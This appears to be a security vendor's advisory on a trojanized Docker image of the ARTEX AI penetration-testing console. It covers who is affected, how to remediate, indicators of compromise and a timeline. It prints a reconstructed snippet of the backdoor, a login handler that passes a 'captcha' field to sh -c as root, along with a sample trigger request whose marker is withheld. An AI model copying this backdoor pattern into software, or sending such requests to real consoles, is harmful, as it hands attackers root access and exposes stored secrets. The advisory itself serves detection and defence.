Neutron, our AI engine, scored 97.1% on UC Berkeley's CyberGym benchmark. Learn more

Deep Dive

Deep Dive

Malicious ARTEX Docker Image Hands Out Root Shells

A copycat ARTEX Docker image added a hidden login handler that runs shell commands as root, and 62 internet consoles served it in November 2026.

TL;DR

  • A third-party copy of the ARTEX AI penetration-testing tool ships a hidden login handler that runs any command as root and returns the output. BadByte published the analysis on November 4, 2026.
  • The backdoored image is tomicdd/artex, plus a byte-identical re-push at congdonglinux/artex. Any deployment that pulls either image is affected, and the container runs as root with its secrets in the environment.
  • No CVE, vendor advisory or CISA KEV entry exists as of November 5, 2026, because ARTEX has no active maintainer repository. The image had 9,077 Docker Hub pulls that day.
  • Replace the image, rebuild the container from a trusted source, and rotate every secret the container could read. See "What should I do if I installed it?".

Am I affected?

You are affected when all of these conditions hold:

  • Your deployment pulls tomicdd/artex or congdonglinux/artex, directly or through a compose file copied from one of the 637 repositories that still point at it.
  • The container has network exposure on port 8787, which the compose file publishes on all interfaces by default.
  • The container was started from either image. The image was pushed on October 8, 2026, and the start date does not matter: a container first started on November 1 is just as affected.

The backdoor is in the prebuilt image, not in the ARTEX source. Anyone who runs the image is affected even if they never opened the GitHub repository. The image runs as root, and its compose file places the database password and the LLM provider keys in the container's environment.

Check what you run:

# The compose file's image line
grep -n 'image:' docker-compose.yml

# A running container and its image digest
docker ps --format '{{.Names}} {{.Image}}'
docker inspect --format '{{.Config.Image}} {{.Image}}' artex

A container built from the official source is not affected by this image backdoor. It can still be exposed in other ways, because the ARTEX console has no built-in authentication beyond its login form.

BadByte counted 62 internet-facing consoles serving the backdoored build between November 2 and November 4, 2026. That is a floor for the affected population, because installs behind NAT, VPNs or firewalls do not appear in the count.

Bar chart of 62 backdoored ARTEX consoles: 46 still backdoored, 4 rebuilt on another image and 12 no longer answering
Figure 1: Most of the 62 consoles that served the backdoored image were still serving it at 09:55 UTC on November 4, 2026. Source: BadByte, checked November 5, 2026

How do I fix it?

  1. Stop the container. Do not delete the data volumes before you preserve them for investigation.
  2. Replace the image with a build you control from a source you trust. ARTEX's original repository was removed on October 8, 2026, so a rebuilt image needs a reviewed source tree, not a copy pulled from another account.
  3. Recreate the container. Pulling a different image without recreating the container leaves the running process untouched.
  4. Rotate every secret the container could read. That includes the PostgreSQL password in ARTEX_PG_DSN, the Anthropic and OpenAI API keys, any Brave or Tavily search keys, the Telegram, Feishu, DingTalk, WeCom and SMTP notification credentials, and the proxy credentials.
  5. Assume the engagement data was read. Replace the JWT signing key at /app/jwt.key, which forges seven-day admin tokens, and review every target, credential and finding the console held.

There is no patch for the backdoored image. The only fix is to stop using it.

The image's own update path does not help. The binary reports its version as dev, so ARTEX refuses one-click updates for non-release versions, and the update check still requests a GitHub release endpoint that now returns 404. The update.sh path runs docker compose pull against the same image.

What does the malicious code do?

The image is a copy of ARTEX with one added function and a changed login handler. It runs a shell command as root before it checks any credential, and it sends the command output back to the caller.

BadByte compared the image's /app/artex binary with the official v0.3.15 build and found 31,054 matching functions. Three things differ:

  • A new 160-byte function, server.verifyCaptcha.
  • The login handler server.(*Server).authLogin grows from 1,600 to 2,112 bytes.
  • The login request struct gains a fourth field, Captcha.

The binary admits the change in its own build information:

# go version -m /app/artex
# sha256 d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573
path   github.com/Autumn-27/artex/cmd/artex
mod    github.com/Autumn-27/artex  v0.3.16-0.20261008134550-5c0dbd4bec94+dirty
build  -tags=embedui
build  vcs.revision=5c0dbd4bec940f3c0faf20705a56d879b57d3dfe
build  vcs.time=2026-10-08T13:45:50Z
build  vcs.modified=true

The binary was built from commit 5c0dbd4 plus uncommitted changes, so no public source contains them. The added function is a direct shell call, and its only caller is the login handler, right after the JSON body is decoded:

// Reconstruction by BadByte, marker withheld
func verifyCaptcha(cmdline string) (string, error) {
    c := exec.Command("sh", "-c", cmdline)
    out, err := c.CombinedOutput()
    return string(out), err
}

// inside authLogin
if hasMarker(req.Captcha) {
    out, _ := verifyCaptcha(stripMarker(req.Captcha))
    writeJSON(w, ...out...)
    return
}

The username comparison, the password hash lookup and the bcrypt check all come later, on the other branch. The backdoor needs no account, no password and no valid session.

How is it exploited?

  1. The attacker sends one POST to /api/auth/login with a captcha value that starts with the secret marker and continues with a shell command.
  2. The login handler decodes the JSON body and calls verifyCaptcha.
  3. verifyCaptcha runs sh -c with the attacker's command as the container's root user and captures the combined output.
  4. The handler writes the output into the JSON response and returns. The credential check never runs.
  5. The attacker repeats the request for each command. Nothing needs to be installed, and no callback is made.

The request looks like a failed login from the network:

POST /api/auth/login HTTP/1.1
Content-Type: application/json

{"username":"x","password":"x","captcha":"<MARKER>id"}

HTTP/1.1 200 OK
{ ... "uid=0(root) gid=0(root) groups=0(root)" ... }

How does the attack flow?

A copycat repository points its compose file at a trojanized image, and one unauthenticated request turns that image into a root shell.

flowchart LR A["Author removes ARTEX
8 October 2026"] --> B["Copycat repo and image
one line changed"] B --> C["Victim runs docker compose up
port 8787 exposed"] C --> D["Login request with marker
no account needed"] D --> E["verifyCaptcha runs sh -c
as root"] E --> F["Command output returned
in the login response"] F --> G["Secrets, engagements and targets
readable from the container"]

What can an attacker do?

The attacker gets a root shell inside the container, and the container holds the console's most sensitive data.

BadByte lists the assets reachable from that shell:

  • The PostgreSQL superuser password in ARTEX_PG_DSN.
  • The Anthropic and OpenAI API keys in the environment and in llm_profiles.api_key, unencrypted.
  • Brave and Tavily search API keys in the settings table.
  • Engagement targets and scope in the companies, company_scope, task_scope and tasks tables.
  • Credentials harvested from targets in assets.auth and exploration_nodes.payload.
  • Findings and evidence in findings.evidence, findings.report and /app/data.
  • Full intercepted traffic in /app/data/traffic, and the proxy CA private key in _ca/.
  • The session signing key at /app/jwt.key, which forges seven-day admin tokens.
  • MCP server commands, arguments, environment and tokens in mcp_servers.
  • Notification secrets for Feishu, DingTalk, WeCom, Telegram and SMTP in notification_channels.config.
  • Agent prompts, tools and skills that carry into every later engagement.

Anything written to ./data, ./skills or the database volume survives a re-pull. An attacker who reaches the shell can also change what the agents do on the next run, so the console's future output is untrustworthy even after the container is replaced.

The attacker needs network reachability to port 8787. The compose file publishes that port on all interfaces, and most affected consoles sat on the default port. A deployment behind a firewall or VPN is still at risk from anyone who can reach the console.

What should I do if I installed it?

  1. Stop the container and preserve its data volumes and logs for investigation.
  2. Inspect the container for the backdoor. The image serves the fixed build ID 3aC1db3gGU08O4UHbAt4J, and the /app/artex binary has the SHA-256 hash d5070f52262effe216b840711343bff8f2787f39208d887d8dfd9c673f8d1573.
  3. Rebuild from a source tree you have reviewed, or stop using the tool. A clean rebuild does not clean data the attacker already read.
  4. Rotate every secret listed under "What can an attacker do?", starting with the LLM provider keys and the database password.
  5. Review the console's targets and engagement records for changes you did not make, and tell the owners of any third-party targets whose credentials were stored there.
  6. Check the host for persistence outside the container. The backdoor itself waits for requests, but the attacker may have used the root shell to change the host.

How do I check if I was compromised?

  • Search the container logs and the reverse proxy logs for POST /api/auth/login requests that returned a command output in the JSON body. The trigger looks like a failed login, so match the response content, not the status code.
  • Check the running image's build ID. Every page of the backdoored build carries 3aC1db3gGU08O4UHbAt4J.
  • Check the image digest. congdonglinux/artex has the same index and manifest digests as tomicdd/artex.
  • Search every compose file and repository for tomicdd/artex and congdonglinux/artex. BadByte counted 637 GitHub repositories still pointing at the image on November 5, 2026.
  • Search the shell history and process table for unexpected sh -c children of the ARTEX process.

BadByte did not publish a list of victims, and the consoles it counted are internet-facing deployments, not confirmed compromises. A request that failed to reach the login endpoint leaves no trace.

Timeline

  • 2026-10-08 10:50 UTC: the ARTEX author announces the project is going closed source and removes the repository.
  • 2026-10-08 18:50 UTC: the Docker Hub account tomicdd is created.
  • 2026-10-08 19:41 UTC: tomicdd pushes the ARTEX image.
  • 2026-10-08: the GitHub account trhhubsd uploads a copy of the source with one compose line changed to tomicdd/artex.
  • 2026-10-20: the first backdoored console is online.
  • 2026-10-23: a GitHub user opens issue #3, "suspect a backdoor"; the repository owner closes it the next day.
  • 2026-11-04: BadByte publishes its analysis, with 62 consoles identified between November 2 and 4.

FAQ

Is there a CVE for this image?

No. The backdoor is in a third-party Docker image, not in a maintained package with a security advisory. No CVE is assigned, and there is no CISA KEV entry for it.

Does updating ARTEX remove the backdoor?

No. The binary reports dev, so the one-click update refuses to run, and the working update path pulls the same image again. Updating does not remove the backdoor.

Is the official ARTEX source malicious?

No evidence says so. BadByte compared the image with the official v0.3.15 build and found only the login handler, the added function and the request field changed. The official source was removed on October 8, 2026, so a clean rebuild needs a reviewed copy.

How many deployments are affected?

BadByte counted 7,946 pulls of the two backdoored images by November 3, 2026, and 62 consoles serving the backdoored build between November 2 and 4. Docker Hub showed 9,077 pulls of tomicdd/artex on November 5, 2026. The number of consoles is a floor, because installs behind NAT, VPNs or firewalls are not visible.

Why would someone run this image?

ARTEX is an AI penetration-testing console that was used against real organizations, including South Korean banks and more than 200 organizations in 14 countries. After the author removed it, users searched for a replacement and found the most-starred copy. The copy's source matched upstream, so a code review found nothing.

Is my data safe if I only ran the container briefly?

No. One request is enough to run a command, and the container holds plaintext secrets from the moment it starts. Treat any run of either image as a possible compromise and rotate the secrets.

References

  • BadByte, "ARTEX Backdoor: 7,946 Pulls of a Trojanized Docker Image Handing Out Root Shells", November 4, 2026: https://badbyte.io/artex-backdoor-docker-image/ (checked November 5, 2026)
  • Docker Hub, tomicdd/artex: https://hub.docker.com/r/tomicdd/artex (checked November 5, 2026)
  • Docker Hub, congdonglinux/artex: https://hub.docker.com/r/congdonglinux/artex (checked November 5, 2026)
  • The Hacker News, "CERT-In Flags AI-Driven Attacks as Backdoored ARTEX Exposes 62 Consoles to Root Access", November 5, 2026: https://thehackernews.com/2026/11/backdoored-docker-image-for-artex-ai.html (checked November 5, 2026)
  • GitHub, trhhubsd/ARTEX compose change, archived commit a4f4d38: https://archive.softwareheritage.org/swh:1:cnt:4116a80d046acf8c31c1b1fde26e8011bde9176c;origin=https://github.com/trhhubsd/ARTEX (checked November 5, 2026)